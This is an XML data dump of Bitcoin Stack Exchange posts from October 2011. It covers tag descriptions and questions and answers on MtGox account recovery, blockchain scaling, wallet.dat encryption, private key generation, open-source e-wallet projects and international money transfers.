  <row Id="1692" PostTypeId="5" CreationDate="2011-10-21T21:23:13.680" Score="0" Body="&lt;p&gt;Questions related to the standard Bitcoin client first developed by Satoshi Nakamoto.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:44.783" LastActivityDate="2011-10-21T21:54:44.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1693" PostTypeId="4" CreationDate="2011-10-21T21:23:13.680" Score="0" Body="Questions related to the standard Bitcoin client first developed by Satoshi Nakamoto." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:46.420" LastActivityDate="2011-10-21T21:54:46.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1694" PostTypeId="5" CreationDate="2011-10-21T21:24:22.900" Score="0" Body="&lt;p&gt;Regarding the practice of switching between different mining pools in order to maximize personal profits at the cost to other miners in the pool.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:48.183" LastActivityDate="2011-10-21T21:54:48.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1695" PostTypeId="4" CreationDate="2011-10-21T21:24:22.900" Score="0" Body="Regarding the practice of switching between different mining pools in order to maximize personal profits at the cost to other miners in the pool." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:50.510" LastActivityDate="2011-10-21T21:54:50.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1696" PostTypeId="5" CreationDate="2011-10-21T21:26:13.380" Score="0" Body="&lt;p&gt;Regarding money transfers for different goods and services paid in Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:52.023" LastActivityDate="2011-10-21T21:54:52.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1697" PostTypeId="4" CreationDate="2011-10-21T21:26:13.380" Score="0" Body="Regarding money transfers for different goods and services paid in Bitcoins." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:53.677" LastActivityDate="2011-10-21T21:54:53.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1698" PostTypeId="5" CreationDate="2011-10-21T21:27:28.930" Score="0" Body="&lt;p&gt;Related to different MacOS operating systems and the Mac hardware.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:55.610" LastActivityDate="2011-10-21T21:54:55.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1699" PostTypeId="4" CreationDate="2011-10-21T21:27:28.930" Score="0" Body="Related to different MacOS operating systems and the Mac hardware." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:59.977" LastActivityDate="2011-10-21T21:54:59.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1700" PostTypeId="5" CreationDate="2011-10-21T21:28:34.063" Score="0" Body="&lt;p&gt;The Bitcoin blockchain can be forked (i.e. split) at any time by any miner. A fork can be caused by a block which violates the consensus rules and that block is built upon by other miners. This can happen intentionally in the case of hard forks, or unintentionally when there is a bug in mining code.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T23:32:30.747" LastActivityDate="2017-10-20T23:32:30.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1701" PostTypeId="4" CreationDate="2011-10-21T21:28:34.063" Score="0" Body="This tag should be used for questions regarding any split in the Bitcoin blockchain" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T23:32:30.747" LastActivityDate="2017-10-20T23:32:30.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1702" PostTypeId="1" AcceptedAnswerId="1703" CreationDate="2011-10-21T21:56:36.180" Score="2" ViewCount="2568" Body="&lt;p&gt;I go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mtgox.com/users/login&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/users/login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &quot;Forgot your password?&quot;.   Enter &quot;User Name or email&quot;.  Click on &quot;Recover my password&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing happens.  They say &quot; We will email you a link to reset your password.&quot;  But they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to get past this?  Is there some way to contact someone who maintains the site about this?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="22" LastEditDate="2011-10-21T23:10:06.733" LastActivityDate="2018-01-21T03:47:57.367" Title="Can't recover MtGox password" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1703" PostTypeId="2" ParentId="1702" CreationDate="2011-10-21T22:31:48.593" Score="6" Body="&lt;p&gt;MtGox support is available on &lt;a href=&quot;https://support.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;https://support.mtgox.com&lt;/a&gt;, by email (support AT mtgox.com) and on IRC freenode server channel #mtgox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to check your spam folder if you are using a bad webmail provider or bad antispam.&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="105" LastEditDate="2011-10-22T15:01:26.820" LastActivityDate="2011-10-22T15:01:26.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1704" PostTypeId="2" ParentId="1613" CreationDate="2011-10-22T00:45:22.163" Score="3" Body="&lt;p&gt;A bot has one advantage over humans: speed. Other than that, it is not that different from a human.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it is not very relevant whether a bot or human sold coins at a low price. Someone accepts selling this low, thus the price is this low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decline of the price was a classic economic bubble. The process started in May at the latest, from there up until October the market was dominated by the dynamics of inexperienced masses speculating wildly. If you want to understand why things happened the way they did, read on economic bubbles.&lt;/p&gt;&#xA;" OwnerUserId="604" LastActivityDate="2011-10-22T00:45:22.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1705" PostTypeId="2" ParentId="1659" CreationDate="2011-10-22T02:38:22.897" Score="2" Body="&lt;p&gt;&lt;strong&gt;Speculative Bubble&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple like this: &lt;img src=&quot;https://i.stack.imgur.com/8jllR.jpg&quot; alt=&quot;this&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watch a lot of markets charts for years and the &lt;strong&gt;Bitcoin chart&lt;/strong&gt; looks pretty &lt;strong&gt;normal&lt;/strong&gt; to me. Oh, and the &lt;strong&gt;trend&lt;/strong&gt; is continue going down right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://blog.bitcoinwatch.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog&lt;/a&gt; have Bitcoin chart analysis that confirm what I am saying, just to give a second opinion. (I found this right now)&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="105" LastEditDate="2011-10-22T19:11:26.800" LastActivityDate="2011-10-22T19:11:26.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1706" PostTypeId="1" AcceptedAnswerId="1709" CreationDate="2011-10-23T21:15:08.870" Score="16" ViewCount="9828" Body="&lt;p&gt;I would like to know if there are any statistics on turnover of Bitcoins for each country in the world. A very rough way would be to get a statistic on which traffic to Bitcoin.org by country.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="5406" LastEditDate="2014-10-12T21:59:04.223" LastActivityDate="2016-12-23T07:24:41.687" Title="Any statistics on usage of Bitcoins by region or country?" Tags="|adoption|user-base|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1707" PostTypeId="2" ParentId="1519" CreationDate="2011-10-23T21:59:02.953" Score="1" Body="&lt;p&gt;NMC block 19200 was the first block to have merged mining hashing on it, Though I don't know if a merged mining pool found this block.&#xA;In merged mining, your submitted shares are passed to bitcoin to check if it solves a block. Then it is passed to namecoin. Each are independent of one another. If you find a NMC block, it's just that! No BTC are generated!&lt;/p&gt;&#xA;" OwnerUserId="608" LastActivityDate="2011-10-23T21:59:02.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1708" PostTypeId="1" AcceptedAnswerId="1712" CreationDate="2011-10-23T22:17:05.543" Score="16" ViewCount="697" Body="&lt;p&gt;I`ve recently read a presentation that mentioned a couple things about how big would be the potential bandwidth if Bitcoins would handle the transaction volume of Visa:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.slideshare.net/dakami/black-ops-of-tcpip-2011-black-hat-usa-2011&quot;&gt;http://www.slideshare.net/dakami/black-ops-of-tcpip-2011-black-hat-usa-2011&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It stated, that storing all Visa transactions would take about 1TB of storage per week. This certainly limits the feasibility of using the Bitcoin protocol as an alternative to existing payment processors. Are there any plausible concepts of what part of the economy Bitcoins might be capable of replacing entirely, and which would be harder or impossible to substitute with 'coins?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-23T19:08:03.973" LastActivityDate="2022-09-20T09:23:22.207" Title="Capabilities of Bitcoins and their place in the future" Tags="|scalability|transaction-capacity|visa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1709" PostTypeId="2" ParentId="1706" CreationDate="2011-10-23T23:43:49.910" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/nodes-globe?series=48hrs&quot;&gt;WebGL Globe&lt;/a&gt; shows bitcoin nodes seen during last 48 hours. Install &lt;a href=&quot;http://www.google.com/chrome&quot;&gt;Chrome Web browser&lt;/a&gt; if you have problem rendering WebGL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/trends?q=bitcoin&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=mtd&amp;amp;sort=0&quot;&gt;Google Trends&lt;/a&gt; has countries, cities and languages sorted by number of bitcoin related search queries.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-24T00:01:23.203" LastActivityDate="2011-10-24T00:01:23.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1710" PostTypeId="2" ParentId="1706" CreationDate="2011-10-23T23:52:06.370" Score="2" Body="&lt;p&gt;Serith provides a link that shows location of Bitcoin nodes.  Beyond that Bitcoin specifically makes geolocation stats difficult.  Addresses are intentionally random and arbitrary.  You can look at transaction to determine senders IP address however that can be obfuscated and will not correctly reflect anyone using a web based wallets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoin generation that is more difficult as roughly 80% of all Bitcoins are generated via a pool so any data in blockchain will simply indicate the location of the pool not the miners that make it up.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-23T23:52:06.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1711" PostTypeId="2" ParentId="1708" CreationDate="2011-10-23T23:52:42.237" Score="8" Body="&lt;p&gt;You could potentially be asking the wrong question. This has been brought up in discussion in #bitcoin-dev on Freenode a few dozen times, and eventually it comes down to the fact that having to wait 30 minutes or more for a transaction to clear as valid (vs several seconds on a credit card at a working terminal) will hinder Bitcoin adoption in the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of people predict the rise of Bitcoin banks, where the only people that transact with the chain primarily will be banks and large businesses, and everyone else will have Bitcoin bank cards that they use at terminals, or Bitcoin bank account numbers that transact instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if/when this happens, you won't see 1TB of transactions (which, by the way, I suspect is rather high; several million transactions a day would not be 1TB, although it'd be in the GBs), you'll see roughly the traffic we have now as banks and merchants settle their balances with each other periodically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the problem that the client does not currently compress the chain while storing it on disk. Several TB of data could be several hundred GB of data if it compresses well, and that is very easy to store on today's conventional drives. Someone should look into adding lrzip support (better than LZMA, written by Con Kolivas, the guy behind the BFS kernel patch and the cgminer Bitcoin GPU miner) to the mainline client.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="307" LastEditDate="2011-10-25T00:06:17.153" LastActivityDate="2011-10-25T00:06:17.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1712" PostTypeId="2" ParentId="1708" CreationDate="2011-10-24T00:17:50.057" Score="12" Body="&lt;p&gt;We are a long way away from VISA scale transaction volume (&gt;4K transactions per second) however there are some methods for Bitcoin to deal with the data on that scale&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remote blockchain.&lt;/strong&gt; In the current implementation of the mainline client, every client downloads and store a complete copy of the blockchain.  This is the best way to boostsrap the bitcoin network while transaction volume is low.  However at peak transaction volume most users will have no interest in downloading and storing terrabytes worth of data.  In the future if a client trusts an online entity they could query transactions against that entity rahter than store the block chain locally.  Obivously this requires a level of trust so it would be important to choose a trustworth &quot;block chain provider&quot; however it has the advantage of each client only needing to query transactions they are interested in (for example client could ask for all transactions involving a particular address (to get current balance) or number of confirms for a particular transactions (to update the confirmation status). Before someone cries &quot;centralization&quot; there would be no official blockchain provider but instead numerous independent entities offering this as a service (either paid or free). If someone is paranoid they could use/build a client which queries two different block chain providers to ensure they return same data.  Lastly if a person is sufficiently concerned about security they could trust no-one and compute the entire blockchain themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GPU Acceleration of transaction verification.&lt;/strong&gt;&#xA;GPU are currently used to find a hash to sign the block as this is cryptographically intensive and any performance increase pays huge dividends.  This isn't true for transaction verification as transaction volume is low.  As a result the bitcoind uses non-openCL CPU calculations to verify transactions.  If necessary an Open-CL GPU powered client would be able to verify significantly higher transaction volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rough estimation of future computation power required.  The paper linked by author indicates it would take a modern CPU can only handle ~100 tps (transactions per second). For integer math (like used in cryptographic hashing) a high end GPU is (as of writing) roughly 20x as powerful as a high end CPU. That allows in the ballpark of ~2000 peak tps per GPU.  Furthermore even with say 50% annual transaction volume growth we are two decades away from VISA level transaction volume.  Moore's law would indicate that average CPU/GPU in 20 years would be roughly 1000x as powerful.  That would be on the range of 100,000 tps per CPU and 2 mil tps per GPU in 20 years. Even if growth in computational power slows as long as it isn't slower than the growth in transaction volume it will ensure that all transactions can be verified by off the shelf hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual transaction volumes.&lt;/strong&gt;&#xA;Bitcoin is digital cash.  Many people today chose not to use cash for online and offline transactions favoring instead indirect payment methods (check, debit card, credit card, gift card, etc).  It is probable that higher level payments systems built on top of bitcoin network will emerge.  Users of these systems should cause significantly lower transaction volume.  For an example lets look at how VISA transactions work.  An individual may have 200 VISA transactions in a month but only makes a single payment to the card issuer (a 200:1 multiplier between purchases and actual currency movement).  Likewise a company may have a thousands of VISA transactions in a day but recives that as a single currency payment (usually ACH).  Another thing to consider is &quot;VISA level&quot; is more an end game scenario.  A more likely interim goal (say over next 2 decades) would be a &quot;PayPal level transaction volume&quot; which despite being a modest 100 tps (vs VISA &gt;4K tps) would indicate Bitcoin is a massive success.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-24T13:09:39.883" LastActivityDate="2011-10-24T13:09:39.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1713" PostTypeId="1" AcceptedAnswerId="1714" CreationDate="2011-10-24T10:40:24.250" Score="17" ViewCount="11222" Body="&lt;p&gt;What is the algorithm used for encrypting the wallet.dat file?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="121614" LastEditDate="2022-06-23T16:18:39.947" LastActivityDate="2022-06-23T16:18:39.947" Title="How does the Bitcoin client encrypt the wallet.dat file?" Tags="|bitcoin-core|wallet|security|wallet.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1714" PostTypeId="2" ParentId="1713" CreationDate="2011-10-24T11:31:42.900" Score="10" Body="&lt;p&gt;A detailed explanation can be found in the application's README: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/6b8a5ab622e5c9386c872036646bf94da983b190/doc/README&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/6b8a5ab622e5c9386c872036646bf94da983b190/doc/README&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The passphrase is converted to a key/iv pair using EVP, with a dynamic number of rounds&lt;/li&gt;&#xA;&lt;li&gt;This key/iv pair is used to encrypt a randomly-generated master key, using AES-256-CBC&lt;/li&gt;&#xA;&lt;li&gt;The secret part of wallet keys are then encrypted using that master key, again with AES-256-CBC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastEditorUserId="307" LastEditDate="2014-08-04T14:32:58.693" LastActivityDate="2014-08-04T14:32:58.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1715" PostTypeId="2" ParentId="1389" CreationDate="2011-10-24T11:41:51.760" Score="29" Body="&lt;p&gt;As is normal when doing Elliptic Curve encryption, a private key is simply a random number. In the case of secp256k1, the elliptic curve used by Bitcoin, it has to be a number between 1 and 115792089237316195423570985008687907852837564279074904382605163141518161494336 (or in hexadecimal, between &lt;code&gt;0x1&lt;/code&gt; and &lt;code&gt;0xFFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE BAAEDCE6 AF48A03B BFD25E8C D0364140&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This private key is converted to a public key by performing an EC point multiplication with the curve's base point. The result is an &lt;code&gt;(x,y)&lt;/code&gt; coordinate pair, which constitutes the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;code&gt;RIPEMD160(SHA256(pubkey))&lt;/code&gt;, where pubkey is a serialization of those coordinates, is computed, and encoded in base58, together with a checksum. This becomes the address.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="963" LastEditDate="2014-01-20T09:12:52.180" LastActivityDate="2014-01-20T09:12:52.180" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1716" PostTypeId="1" CreationDate="2011-10-24T12:39:58.747" Score="10" ViewCount="6670" Body="&lt;p&gt;If I want to setup an e-wallet service, would I have to create it from scratch or is there any existing open source software that could be used?&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2016-09-04T14:44:43.637" Title="Does any open source software exist for an e-wallet service?" Tags="|e-wallet|open-source|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1717" PostTypeId="2" ParentId="1713" CreationDate="2011-10-24T13:20:32.160" Score="10" Body="&lt;p&gt;Pieter's answer covers the technical details so I won't repeat any of that.  I would add that users should remember that the weakest point in Bitcoin-core wallet or any cryptographically strong encryption system is the passphrase.  The system converts a passphrase to an AES-256 key and that password derived key is used to encrypt a randomly generated master wallet key.  The master wallet key can not be brute forced barring a compromised or flawed PRNG however attackers can attempt to brute force the passphrase itself.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client adds attempts to harden against this attack by using both a salt (random number) and multiple rounds of hashing.   The salt prevents a precomputation attack as the same passphrase with different salts will produce different keys.  The use of multiple rounds of hashing slow down brute force attacks because the attacker will also need to perform multiple rounds on each passphrase attempted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client uses dynamic key hardening.  This means the number of rounds varies based on the computational power of the client (to keep time to encrypt or decrypt below 1 seconds).  The more computing power your hardware has the more rounds it performs, and the more difficult it will be to brute force the password.  When you change your passphrase the client will adjust the number of dynamic rounds based on your current hardware's computing power. By updating your password periodically you can ensure the password derived key keeps up with Moore's law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key hardening through the use of salt and key stretching can only go so far.  If your password is &quot;p@ssw0rd!&quot; or some other known commonly used password it will still be trivial to brute force the wallet.  To illustrate why lets assume the attacker has hardware which can attempt 100M hashes per second and your wallet is using 100,000 rounds of hashing.  This means the attackers hardware (100M hashes) can attempt 1,000 passwords per second.  So the wallet does slow the attacker down but if the password is weak then it can't slow it down enough.  There are lists of previously compromised/stolen/hacked passwords publicly available with tens of millions of passwords.  Without key stretching an attacker could attempt all possible known passwords in less than a second.  Key stretching slows that down to a few hours.  On the other hand lets say that your password was unknown and strong enough that with a single hash it would on average take one day to brute force.  With 100,000 rounds that increases the time to centuries.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="38458" LastEditDate="2019-09-29T15:36:31.713" LastActivityDate="2019-09-29T15:36:31.713" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1718" PostTypeId="2" ParentId="1716" CreationDate="2011-10-24T13:55:10.433" Score="7" Body="&lt;p&gt;It seems like the project was abandoned, but you might be able to recycle the code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;During the last days I started hacking together a little online-wallet&#xA;  and thought some of you might be interested.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is based on the bitcoind RPC API for handling accounts and adds&#xA;  custom labels stored in database.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you want to send coins to a labeled address, just start typing the&#xA;  label and it will autocomplete.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is a Ruby/Rails application released under the MIT license, so you&#xA;  can setup your own online wallet or even run it locally and use it&#xA;  instead of the default client UI.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that this is just a very early development version which still&#xA;  needs a lot of work.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Project/Source: &lt;a href=&quot;http://open.sourceagency.org/projects/webtc&quot;&gt;http://open.sourceagency.org/projects/webtc&lt;/a&gt; Demo&#xA;  (testnet): &lt;a href=&quot;http://webtc.interesthings.de&quot;&gt;http://webtc.interesthings.de&lt;/a&gt; (There is a demo Account:&#xA;  foo@bar.baz / password, but feel free to create new accounts, the&#xA;  email doesn't have to exist)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Feedback, bug reports, patches and donations welcome&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=12403.0&quot;&gt;bitcointalk.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-24T13:55:10.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1719" PostTypeId="2" ParentId="1716" CreationDate="2011-10-24T16:05:47.240" Score="2" Body="&lt;p&gt;Someone linked me to this project a while back: &lt;a href=&quot;https://github.com/kangasbros/django-bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/kangasbros/django-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can use the Wallet class to do different bitcoin-moving applications. Typical example would be a marketplace-style site, where there are multiple sellers and buyer. Or job freelance site, where escrow is needed. Or even an exchange could be done with this abstraction (a little extra classes would be needed however).&lt;/p&gt;&#xA;&lt;p&gt;Note that while you move bitcoins between Wallet-objects, only bitcoin transactions needed are incoming and outgoing transactions. Transactions between the system &amp;quot;Wallet&amp;quot;-objects don't generate &amp;quot;real&amp;quot; bitcoin transactions. Every transaction (except incoming transactions) is logged to WalletTransaction object to ease accounting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I haven't had a chance to play around with it myself yet, but it sounds like a decent starting point for building an e-wallet site using Python and Django.&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-10-24T16:05:47.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1720" PostTypeId="1" AcceptedAnswerId="1724" CreationDate="2011-10-24T21:51:02.430" Score="9" ViewCount="700" Body="&lt;p&gt;What are the different ways to encode a Bitcoin Address (both private and public) and how are they calculated? I've heard of things like firstbits, mini private key format, and I`d like to know how does one convert one number into another.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-25T00:36:25.160" Title="Different ways to encode Bitcoin Address" Tags="|alternatives|address|encoding|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1721" PostTypeId="1" CreationDate="2011-10-24T22:06:13.527" Score="9" ViewCount="649" Body="&lt;p&gt;Learning from a source code is very useful at times, but it is a pain if the code is not commented well. Which of the open source Bitcoin software have the most thoroughly and understandably commented source code? That is, if someone wanted to understand how the main client, miner, pool or other Bitcoin software works, which projects should one look at?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="22" LastEditDate="2011-10-25T17:10:25.870" LastActivityDate="2011-10-25T17:10:25.870" Title="Which of the open-source Bitcoin clients has the most thoroughly commented source code?" Tags="|development|open-source|learning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1722" PostTypeId="2" ParentId="1672" CreationDate="2011-10-24T22:09:16.887" Score="2" Body="&lt;p&gt;A killer feature is the ability to send BTC to the other end of the globe almost instantly without (or with symbolic) transaction fees. &lt;strong&gt;There is nothing else that does this and this is huge.&lt;/strong&gt; Sending money is not such a big problem inside USA/Canada and that's why, I think, it's not as obvious for most of the BTC users. For legal entity it's a bit easier, but say that I'm selling something on eBay and I've got a buyer from the USA. What are the ways to receive payment?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Cheapest way is to send cash through mail. Of course, this is also the most unreliable way and not feasible for any significant amounts. This is the cheapest option, but not the fastest, and there are no guarantees that you'll get the money. You can pay extra for extra guarantees, but post office doesn't endorse sending money through mail. I'm citing this only for the sake of completeness; you probably don't want to do this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;PayPal is probably the fastest and cheapest viable option: $0.30 USD plus 1.9%-2.9% of the amount received. However, in my country, PayPal has enabled receiving funds only in the last year. There are still many countries where PayPal doesn't have full presence. Also, you have to be at least 18 years old and have a Visa credit card. There is also a risk factor with PayPal; they can hold your money if they suspect anything and you're at their mercy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Western Union is probably the cheapest alternative if you don't have PayPal; starts with 10% fee for small amounts, and falls to 4% for large amounts (&gt;$1000). Also, both parties need to physically visit Western Union subsidiary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally, there's wire transfer. Wire transfer is much cheaper inside the USA, but USA banks charge pretty fat fee for international transfers - usually around $25. Additionally, receiving bank charges extra. In my case it's 10 EUR. Since fees are fixed, this is usually a good way to transfer larger amounts and pretty bad way to transfer small amounts. You need foreign currency account. Depending on the banks involved, it takes from 1 to 5 days until you receive money.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the buyer is in the USA, he can write a check and mail it. It usually takes up to a week to receive mail (overnight carries additional fees); then I have to go to the bank and cash the check. It takes my bank few days up to two weeks to deposit a check to my foreign currency account, and an additional day to transfer it to my account so that I can cash it. For sending money to USA, checks are not an option; the rest of the world doesn't use checks as much, and it would be pretty hard to cash my check in the USA bank. This is the slowest option, and some banks charge extra fees (fixed or percentage), some don't charge anything, some don't even want to cash the check. If sender's bank has account in receiver's bank, this usually takes only a few days. Otherwise, all bets are off.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're a legal entity (business), you have one more option - you can accept credit cards. This is the only no-fuss option for the buyer. In my country, bank fees start with 2-2.5% for very large companies, 4.5% for small companies, and go up to 6%. There are additional startup fees and monthly/recurring fees for payment processors and so on which can drive costs up. You get your money once a month, 1 month or more after the payment itself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, in summary, international money transfers are pain in the ass. PayPal (and similar services) are probably the best option. If you're a business, you'll want to accept credit cards. It will cost you either way. Apart from sending money in the envelope, you'll typically pay from 2-10%. There are exceptions; wire transfer can be less than 2% for larger amounts, and you can easily pay more than 10% if you don't know what you're getting into. You can have your money almost instantly with PayPal, or wait for more than a month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BTC is faster, cheaper and simpler than any of the above methods.&lt;/strong&gt; Of course, I must add - you can withdraw BTC with PayPal so PayPal limitations apply, or it can take time if you buy cash from your local BTC trader in person. Things get a bit more complicated when exchanging funds to or from BTC. But BTC&amp;lt;-&gt;BTC payment itself is a dream come true for international money transfer and a match made in haven for eBay and similar services.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2011-10-24T22:09:16.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
